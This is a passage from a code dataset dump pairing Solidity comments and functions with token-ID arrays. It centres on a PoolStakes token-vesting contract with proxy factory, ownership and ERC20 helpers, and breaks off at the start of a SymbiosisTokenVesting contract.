file_name
stringlengths 71
779k
| comments
stringlengths 20
182k
| code_string
stringlengths 20
36.9M
| __index_level_0__
int64 0
17.2M
| input_ids
list | attention_mask
list | labels
list |
|---|---|---|---|---|---|---|
./full_match/1/0x6EF0508FD8704a41777CE0514048C994E7C7dccB/sources/browser/RHWhitelist.sol | * @dev Remove the subscriber from the whitelist. @param _subscriber The subscriber remove from the whitelist./ | function removeFromWhitelist(address _subscriber) external override onlyWLManagers {
require(_subscriber != address(0), "_subscriber is zero");
require(whitelist[_subscriber], "not whitelisted");
whitelist[_subscriber] = false;
whitelistLength--;
emit WLAddressRemoved(_subscriber);
}
| 16,438,418 | [
1,
3288,
326,
9467,
628,
326,
10734,
18,
225,
389,
26410,
1021,
9467,
1206,
628,
326,
10734,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
22386,
18927,
12,
2867,
389,
26410,
13,
3903,
3849,
1338,
59,
17063,
11113,
288,
203,
3639,
2583,
24899,
26410,
480,
1758,
12,
20,
3631,
4192,
26410,
353,
3634,
8863,
203,
3639,
2583,
12,
20409,
63,
67,
26410,
6487,
315,
902,
26944,
8863,
203,
203,
3639,
10734,
63,
67,
26410,
65,
273,
629,
31,
203,
3639,
10734,
1782,
413,
31,
203,
3639,
3626,
678,
48,
1887,
10026,
24899,
26410,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./interfaces/Constants.sol";
import { PoolParams } from "./interfaces/Types.sol";
import "./interfaces/IVestingPools.sol";
import "./utils/Claimable.sol";
import "./utils/DefaultOwnable.sol";
import { DefaultOwnerAddress, TokenAddress, VestingPoolsAddress } from "./utils/Linking.sol";
import "./utils/ProxyFactory.sol";
import "./utils/SafeUints.sol";
/**
* @title PoolStakes
* @notice The contract claims (ERC-20) token from the "VestingPools" contract
* and then let "stakeholders" withdraw token amounts prorate to their stakes.
* @dev A few copy of this contract (i.e. proxies created via the {createProxy}
* method) are supposed to run. Every proxy distributes its own "vesting pool",
* so it (the proxy) must be registered with the "VestingPools" contract as the
* "wallet" for that "vesting pool".
*/
contract PoolStakes is
Claimable,
SafeUints,
ProxyFactory,
DefaultOwnable,
Constants
{
// @dev "Stake" of a "stakeholder" in the "vesting pool"
struct Stake {
// token amount allocated for the stakeholder
uint96 allocated;
// token amount released to the stakeholder so far
uint96 released;
}
/// @notice ID of the vesting pool this contract is the "wallet" for
uint16 public poolId;
/// @notice Token amount the vesting pool is set to vest
uint96 public allocation;
/// @notice Token amount allocated from {allocation} to stakeholders so far
/// @dev It is the total amount of all {stakes[..].allocated}
uint96 public allocated;
/// @notice Token amount released to stakeholders so far
/// @dev It is the total amount of all {stakes[..].released}
uint96 public released;
/// @notice Share of vested amount attributable to 1 unit of {allocation}
/// @dev Stakeholder "h" may withdraw from the contract this token amount:
/// factor/SCALE * stakes[h].allocated - stakes[h].released
uint160 public factor;
// mapping from stakeholder address to stake
mapping(address => Stake) public stakes;
event VestingClaimed(uint256 amount);
event Released(address indexed holder, uint256 amount);
event StakeAdded(address indexed holder, uint256 allocated);
event StakeSplit(
address indexed holder,
uint256 allocated,
uint256 released
);
/// @notice Returns address of the token being vested
function token() external view returns (address) {
return address(_getToken());
}
/// @notice Returns address of the {VestingPool} smart contract
function vestingPools() external view returns (address) {
return address(_getVestingPools());
}
/// @notice Returns token amount the specified stakeholder may withdraw now
function releasableAmount(address holder) external view returns (uint256) {
Stake memory stake = _getStake(holder);
return _releasableAmount(stake, uint256(factor));
}
/// @notice Returns token amount the specified stakeholder may withdraw now
/// on top of the {releasableAmount} should {claimVesting} be called
function unclaimedShare(address holder) external view returns (uint256) {
Stake memory stake = _getStake(holder);
uint256 unclaimed = _getVestingPools().releasableAmount(poolId);
return (unclaimed * uint256(stake.allocated)) / allocation;
}
/// @notice Claims vesting to this contract from the vesting pool
function claimVesting() external {
_claimVesting();
}
/////////////////////
//// StakeHolder ////
/////////////////////
/// @notice Sends the releasable amount to the message sender
/// @dev Stakeholder only may call
function withdraw() external {
_withdraw(msg.sender); // throws if msg.sender is not a stakeholder
}
/// @notice Calls {claimVesting} and sends the releasable amount to the message sender
/// @dev Stakeholder only may call
function claimAndWithdraw() external {
_claimVesting();
_withdraw(msg.sender); // throws if msg.sender is not a stakeholder
}
/// @notice Allots a new stake out of the stake of the message sender
/// @dev Stakeholder only may call
function splitStake(address newHolder, uint256 newAmount) external {
address holder = msg.sender;
require(newHolder != holder, "PStakes: duplicated address");
Stake memory stake = _getStake(holder);
require(newAmount <= stake.allocated, "PStakes: too large allocated");
uint256 updAmount = uint256(stake.allocated) - newAmount;
uint256 updReleased = (uint256(stake.released) * updAmount) /
uint256(stake.allocated);
stakes[holder] = Stake(_safe96(updAmount), _safe96(updReleased));
emit StakeSplit(holder, updAmount, updReleased);
uint256 newVested = uint256(stake.released) - updReleased;
stakes[newHolder] = Stake(_safe96(newAmount), _safe96(newVested));
emit StakeSplit(newHolder, newAmount, newVested);
}
//////////////////
//// Owner ////
//////////////////
/// @notice Inits the contract and adds stakes
/// @dev Owner only may call on a proxy (but not on the implementation)
function addStakes(
uint256 _poolId,
address[] calldata holders,
uint256[] calldata allocations,
uint256 unallocated
) external onlyOwner {
if (allocation == 0) {
_init(_poolId);
} else {
require(_poolId == poolId, "PStakes: pool mismatch");
}
uint256 nEntries = holders.length;
require(nEntries == allocations.length, "PStakes: length mismatch");
uint256 updAllocated = uint256(allocated);
for (uint256 i = 0; i < nEntries; i++) {
_throwZeroHolderAddress(holders[i]);
require(
stakes[holders[i]].allocated == 0,
"PStakes: holder exists"
);
require(allocations[i] > 0, "PStakes: zero allocation");
updAllocated += allocations[i];
stakes[holders[i]] = Stake(_safe96(allocations[i]), 0);
emit StakeAdded(holders[i], allocations[i]);
}
require(
updAllocated + unallocated == allocation,
"PStakes: invalid allocation"
);
allocated = _safe96(updAllocated);
}
/// @notice Calls {claimVesting} and sends releasable tokens to specified stakeholders
/// @dev Owner may call only
function massWithdraw(address[] calldata holders) external onlyOwner {
_claimVesting();
for (uint256 i = 0; i < holders.length; i++) {
_withdraw(holders[i]);
}
}
/// @notice Withdraws accidentally sent token from this contract
/// @dev Owner may call only
function claimErc20(
address claimedToken,
address to,
uint256 amount
) external onlyOwner nonReentrant {
IERC20 vestedToken = IERC20(address(_getToken()));
if (claimedToken == address(vestedToken)) {
uint256 balance = vestedToken.balanceOf(address(this));
require(
balance - amount >= allocation - released,
"PStakes: too big amount"
);
}
_claimErc20(claimedToken, to, amount);
}
/// @notice Removes the contract from blockchain when tokens are released
/// @dev Owner only may call on a proxy (but not on the implementation)
function removeContract() external onlyOwner {
// avoid accidental removing of the implementation
_throwImplementation();
require(allocation == released, "PStakes: unpaid stakes");
IERC20 vestedToken = IERC20(address(_getToken()));
uint256 balance = vestedToken.balanceOf(address(this));
require(balance == 0, "PStakes: non-zero balance");
selfdestruct(payable(msg.sender));
}
//////////////////
//// Internal ////
//////////////////
/// @dev Returns the address of the default owner
// (declared `view` rather than `pure` to facilitate testing)
function _defaultOwner() internal view virtual override returns (address) {
return address(DefaultOwnerAddress);
}
/// @dev Returns Token contract address
// (declared `view` rather than `pure` to facilitate testing)
function _getToken() internal view virtual returns (IERC20) {
return IERC20(address(TokenAddress));
}
/// @dev Returns VestingPools contract address
// (declared `view` rather than `pure` to facilitate testing)
function _getVestingPools() internal view virtual returns (IVestingPools) {
return IVestingPools(address(VestingPoolsAddress));
}
/// @dev Returns the stake of the specified stakeholder reverting on errors
function _getStake(address holder) internal view returns (Stake memory) {
_throwZeroHolderAddress(holder);
Stake memory stake = stakes[holder];
require(stake.allocated != 0, "PStakes: unknown stake");
return stake;
}
/// @notice Initialize the contract
/// @dev May be called on a proxy only (but not on the implementation)
function _init(uint256 _poolId) internal {
_throwImplementation();
require(_poolId < 2**16, "PStakes:unsafePoolId");
IVestingPools pools = _getVestingPools();
address wallet = pools.getWallet(_poolId);
require(wallet == address(this), "PStakes:invalidPool");
PoolParams memory pool = pools.getPool(_poolId);
require(pool.sAllocation != 0, "PStakes:zeroPool");
poolId = uint16(_poolId);
allocation = _safe96(uint256(pool.sAllocation) * SCALE);
}
/// @dev Returns amount that may be released for the given stake and factor
function _releasableAmount(Stake memory stake, uint256 _factor)
internal
pure
returns (uint256)
{
uint256 share = (_factor * uint256(stake.allocated)) / SCALE;
if (share > stake.allocated) {
// imprecise division safeguard
share = uint256(stake.allocated);
}
return share - uint256(stake.released);
}
/// @dev Claims vesting to this contract from the vesting pool
function _claimVesting() internal {
// (reentrancy attack impossible - known contract called)
uint256 justVested = _getVestingPools().release(poolId, 0);
factor += uint160((justVested * SCALE) / uint256(allocation));
emit VestingClaimed(justVested);
}
/// @dev Sends the releasable amount of the specified placeholder
function _withdraw(address holder) internal {
Stake memory stake = _getStake(holder);
uint256 releasable = _releasableAmount(stake, uint256(factor));
require(releasable > 0, "PStakes: nothing to withdraw");
stakes[holder].released = _safe96(uint256(stake.released) + releasable);
released = _safe96(uint256(released) + releasable);
// (reentrancy attack impossible - known contract called)
require(_getToken().transfer(holder, releasable), "PStakes:E1");
emit Released(holder, releasable);
}
function _throwZeroHolderAddress(address holder) private pure {
require(holder != address(0), "PStakes: zero holder address");
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Constants {
// $ZKP token max supply
uint256 internal constant MAX_SUPPLY = 1e27;
// Scaling factor in token amount calculations
uint256 internal constant SCALE = 1e12;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev To save gas, params are packed to fit into a single storage slot.
* Some amounts are scaled (divided) by {SCALE} - note names starting with
* the letter "s" (stands for "scaled") followed by a capital letter.
*/
struct PoolParams {
// if `true`, allocation gets pre-minted, otherwise minted when vested
bool isPreMinted;
// if `true`, the owner may change {start} and {duration}
bool isAdjustable;
// (UNIX) time when vesting starts
uint32 start;
// period in days (since the {start}) of vesting
uint16 vestingDays;
// scaled total amount to (ever) vest from the pool
uint48 sAllocation;
// out of {sAllocation}, amount (also scaled) to be unlocked on the {start}
uint48 sUnlocked;
// amount vested from the pool so far (without scaling)
uint96 vested;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import { PoolParams } from "./Types.sol";
interface IVestingPools {
/**
* @notice Returns Token address.
*/
function token() external view returns (address);
/**
* @notice Returns the wallet address of the specified pool.
*/
function getWallet(uint256 poolId) external view returns (address);
/**
* @notice Returns parameters of the specified pool.
*/
function getPool(uint256 poolId) external view returns (PoolParams memory);
/**
* @notice Returns the amount that may be vested now from the given pool.
*/
function releasableAmount(uint256 poolId) external view returns (uint256);
/**
* @notice Returns the amount that has been vested from the given pool
*/
function vestedAmount(uint256 poolId) external view returns (uint256);
/**
* @notice Vests the specified amount from the given pool to the pool wallet.
* If the amount is zero, it vests the entire "releasable" amount.
* @dev Pool wallet may call only.
* @return released - Amount released.
*/
function release(uint256 poolId, uint256 amount)
external
returns (uint256 released);
/**
* @notice Vests the specified amount from the given pool to the given address.
* If the amount is zero, it vests the entire "releasable" amount.
* @dev Pool wallet may call only.
* @return released - Amount released.
*/
function releaseTo(
uint256 poolId,
address account,
uint256 amount
) external returns (uint256 released);
/**
* @notice Updates the wallet for the given pool.
* @dev (Current) wallet may call only.
*/
function updatePoolWallet(uint256 poolId, address newWallet) external;
/**
* @notice Adds new vesting pools with given wallets and parameters.
* @dev Owner may call only.
*/
function addVestingPools(
address[] memory wallets,
PoolParams[] memory params
) external;
/**
* @notice Update `start` and `duration` for the given pool.
* @param start - new (UNIX) time vesting starts at
* @param vestingDays - new period in days, when vesting lasts
* @dev Owner may call only.
*/
function updatePoolTime(
uint256 poolId,
uint32 start,
uint16 vestingDays
) external;
/// @notice Emitted on an amount vesting.
event Released(uint256 indexed poolId, address to, uint256 amount);
/// @notice Emitted on a pool wallet update.
event WalletUpdated(uint256 indexedpoolId, address indexed newWallet);
/// @notice Emitted on a new pool added.
event PoolAdded(
uint256 indexed poolId,
address indexed wallet,
uint256 allocation
);
/// @notice Emitted on a pool params update.
event PoolUpdated(
uint256 indexed poolId,
uint256 start,
uint256 vestingDays
);
}
// SPDX-License-Identifier: MIT
pragma solidity >0.8.0;
/**
* @title Claimable
* @notice It withdraws accidentally sent tokens from this contract.
* @dev It provides reentrancy guard. The code borrowed from openzeppelin-contracts.
* Unlike original code, this version does not require `constructor` call.
*/
contract Claimable {
bytes4 private constant SELECTOR_TRANSFER =
bytes4(keccak256(bytes("transfer(address,uint256)")));
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _reentrancyStatus;
/// @dev Withdraws ERC20 tokens from this contract
/// (take care of reentrancy attack risk mitigation)
function _claimErc20(
address token,
address to,
uint256 amount
) internal {
// solhint-disable avoid-low-level-calls
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(SELECTOR_TRANSFER, to, amount)
);
require(
success && (data.length == 0 || abi.decode(data, (bool))),
"claimErc20: TRANSFER_FAILED"
);
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_reentrancyStatus != _ENTERED, "claimErc20: reentrant call");
// Any calls to nonReentrant after this point will fail
_reentrancyStatus = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_reentrancyStatus = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* Inspired and borrowed by/from the openzeppelin/contracts` {Ownable}.
* Unlike openzeppelin` version:
* - by default, the owner account is the one returned by the {_defaultOwner}
* function, but not the deployer address;
* - this contract has no constructor and may run w/o initialization;
* - the {renounceOwnership} function removed.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
* The child contract must define the {_defaultOwner} function.
*/
abstract contract DefaultOwnable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/// @dev Returns the current owner address, if it's defined, or the default owner address otherwise.
function owner() public view virtual returns (address) {
return _owner == address(0) ? _defaultOwner() : _owner;
}
/// @dev Throws if called by any account other than the owner.
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
/// @dev Transfers ownership of the contract to the `newOwner`. The owner can only call.
function transferOwnership(address newOwner) external virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
function _defaultOwner() internal view virtual returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This file contains fake libs just for static linking.
* These fake libs' code is assumed to never run.
* On compilation of dependant contracts, instead of fake libs addresses,
* indicate addresses of deployed real contracts (or accounts).
*/
/// @dev Address of the ZKPToken contract ('../ZKPToken.sol') instance
library TokenAddress {
function neverCallIt() external pure {
revert("FAKE");
}
}
/// @dev Address of the VestingPools ('../VestingPools.sol') instance
library VestingPoolsAddress {
function neverCallIt() external pure {
revert("FAKE");
}
}
/// @dev Address of the PoolStakes._defaultOwner
// (NB: if it's not a multisig, transfer ownership to a Multisig contract)
library DefaultOwnerAddress {
function neverCallIt() external pure {
revert("FAKE");
}
}
// SPDX-License-Identifier: MIT
// solhint-disable no-inline-assembly
pragma solidity >0.8.0;
/**
* @title ProxyFactory
* @notice It "clones" the (child) contract deploying EIP-1167 proxies
* @dev Generated proxies:
* - being the EIP-1167 proxy, DELEGATECALL this (child) contract
* - support EIP-1967 specs for the "implementation slot"
* (it gives explorers/wallets more chances to "understand" it's a proxy)
*/
abstract contract ProxyFactory {
// Storage slot that the EIP-1967 defines for the "implementation" address
// (`uint256(keccak256('eip1967.proxy.implementation')) - 1`)
bytes32 private constant IMPLEMENTATION_SLOT =
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/// @dev Emits when a new proxy is created
event NewProxy(address proxy);
/**
* @notice Returns `true` if called on a proxy (rather than implementation)
*/
function isProxy() external view returns (bool) {
return _isProxy();
}
/**
* @notice Deploys a new proxy instance that DELEGATECALLs this contract
* @dev Must be called on the implementation (reverts if a proxy is called)
*/
function createProxy() external returns (address proxy) {
_throwProxy();
// CREATE an EIP-1167 proxy instance with the target being this contract
bytes20 target = bytes20(address(this));
assembly {
let initCode := mload(0x40)
mstore(
initCode,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
mstore(add(initCode, 0x14), target)
mstore(
add(initCode, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// note, 0x37 (55 bytes) is the init bytecode length
// while the deployed bytecode length is 0x2d (45 bytes) only
proxy := create(0, initCode, 0x37)
}
// Write this contract address into the proxy' "implementation" slot
// (reentrancy attack impossible - this contract called)
ProxyFactory(proxy).initProxy(address(this));
emit NewProxy(proxy);
}
/**
* @dev Writes given address into the "implementation" slot of a new proxy.
* !!! It MUST (and may only) be called:
* - via the implementation instance with the {createProxy} method
* - on a newly deployed proxy only
* It reverts if called on the implementation or on initialized proxies.
*/
function initProxy(address impl) external {
_throwImplementation();
require(
_getImplementation() == address(0),
"ProxyFactory:ALREADY_INITIALIZED"
);
// write into the "implementation" slot
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, impl)
}
}
/// @dev Returns true if called on a proxy instance
function _isProxy() internal view virtual returns (bool) {
// for a DELEGATECALLed contract, `this` and `extcodesize`
// are the address and the code size of the calling contract
// (for a CALLed contract, they are ones of that called contract)
uint256 _size;
address _this = address(this);
assembly {
_size := extcodesize(_this)
}
// shall be the same as the one the `createProxy` generates
return _size == 45;
}
/// @dev Returns the address stored in the "implementation" slot
function _getImplementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/// @dev Throws if called on the implementation
function _throwImplementation() internal view {
require(_isProxy(), "ProxyFactory:IMPL_CALLED");
}
/// @dev Throws if called on a proxy
function _throwProxy() internal view {
require(!_isProxy(), "ProxyFactory:PROXY_CALLED");
}
}
// SPDX-License-Identifier: MIT
pragma solidity >0.8.0;
/**
* @title SafeUints
* @notice Util functions which throws if a uint256 can't fit into smaller uints.
*/
contract SafeUints {
// @dev Checks if the given uint256 does not overflow uint96
function _safe96(uint256 n) internal pure returns (uint96) {
require(n < 2**96, "VPools: Unsafe96");
return uint96(n);
}
}
| @dev Returns the stake of the specified stakeholder reverting on errors | function _getStake(address holder) internal view returns (Stake memory) {
_throwZeroHolderAddress(holder);
Stake memory stake = stakes[holder];
require(stake.allocated != 0, "PStakes: unknown stake");
return stake;
}
| 12,762,088 | [
1,
1356,
326,
384,
911,
434,
326,
1269,
384,
911,
4505,
15226,
310,
603,
1334,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
588,
510,
911,
12,
2867,
10438,
13,
2713,
1476,
1135,
261,
510,
911,
3778,
13,
288,
203,
3639,
389,
12849,
7170,
6064,
1887,
12,
4505,
1769,
203,
3639,
934,
911,
3778,
384,
911,
273,
384,
3223,
63,
4505,
15533,
203,
3639,
2583,
12,
334,
911,
18,
28172,
480,
374,
16,
315,
52,
510,
3223,
30,
5917,
384,
911,
8863,
203,
3639,
327,
384,
911,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
/**
* @title SymbiosisTokenVesting
*
* @dev A token holder contract that can release its token balance gradually like a
* typical vesting scheme, with a cliff and vesting period.
* There are 3 types of vesting schedule: CONTINUOUS, MONTHLY (every 30 days), QUARTERLY (every 90 days).
*/
contract SymbiosisTokenVesting is Ownable {
// The vesting schedule is time-based (i.e. using block timestamps as opposed to e.g. block numbers), and is
// therefore sensitive to timestamp manipulation (which is something miners can do, to a certain degree). Therefore,
// it is recommended to avoid using short time durations (less than a minute). Typical vesting schemes, with a
// cliff period of a year and a duration of four years, are safe to use.
// solhint-disable not-rely-on-time
using SafeERC20 for IERC20;
event ReservedAdded(address indexed beneficiary, uint256 reserved);
event TokensReleased(
address indexed beneficiary,
address indexed transferredTo,
uint256 amount
);
event TokensWithdrawnByOwner(address indexed token, uint256 amount);
// 100% in basis points
uint256 public constant MAX_BPS = 10000;
// private VestingSchedule time constants
uint256 private constant MONTHLY_TIME = 30 days;
uint256 private constant QUARTERLY_TIME = 90 days;
// SymbiosisTokenVesting name
string public name;
// ERC20 token which is being vested
IERC20 public token;
// staking contract address
address public stakingAddress;
// Durations and timestamps are expressed in UNIX time, the same units as block.timestamp.
uint256 public cliff; // the cliff time of the token vesting
uint256 public start; // the start time of the token vesting
uint256 public duration; // the duration of the token vesting
// type of the token vesting
enum VestingSchedule {
CONTINUOUS,
MONTHLY,
QUARTERLY
}
VestingSchedule public immutable schedule;
// basis points of the initial unlock – after the start and before the end of the cliff period
uint256 public immutable cliffUnlockedBP;
// total reserved tokens for beneficiaries
uint256 public reserved;
// reserved tokens to beneficiary
mapping(address => uint256) public reservedForBeneficiary;
// frozen amount for staking
mapping(address => uint256) public frozenForStakeAmount;
// total released (transferred) tokens
uint256 public released;
// released (transferred) tokens to beneficiary
mapping(address => uint256) public releasedToBeneficiary;
// array of beneficiaries for getters
address[] internal beneficiaries;
/**
* @dev Creates a vesting contract that vests its balance of specific ERC20 token to the
* beneficiaries, gradually in a linear fashion until start + duration. By then all
* of the balance will have vested.
* @param _token ERC20 token which is being vested
* @param _cliffDuration duration in seconds of the cliff in which tokens will begin to vest
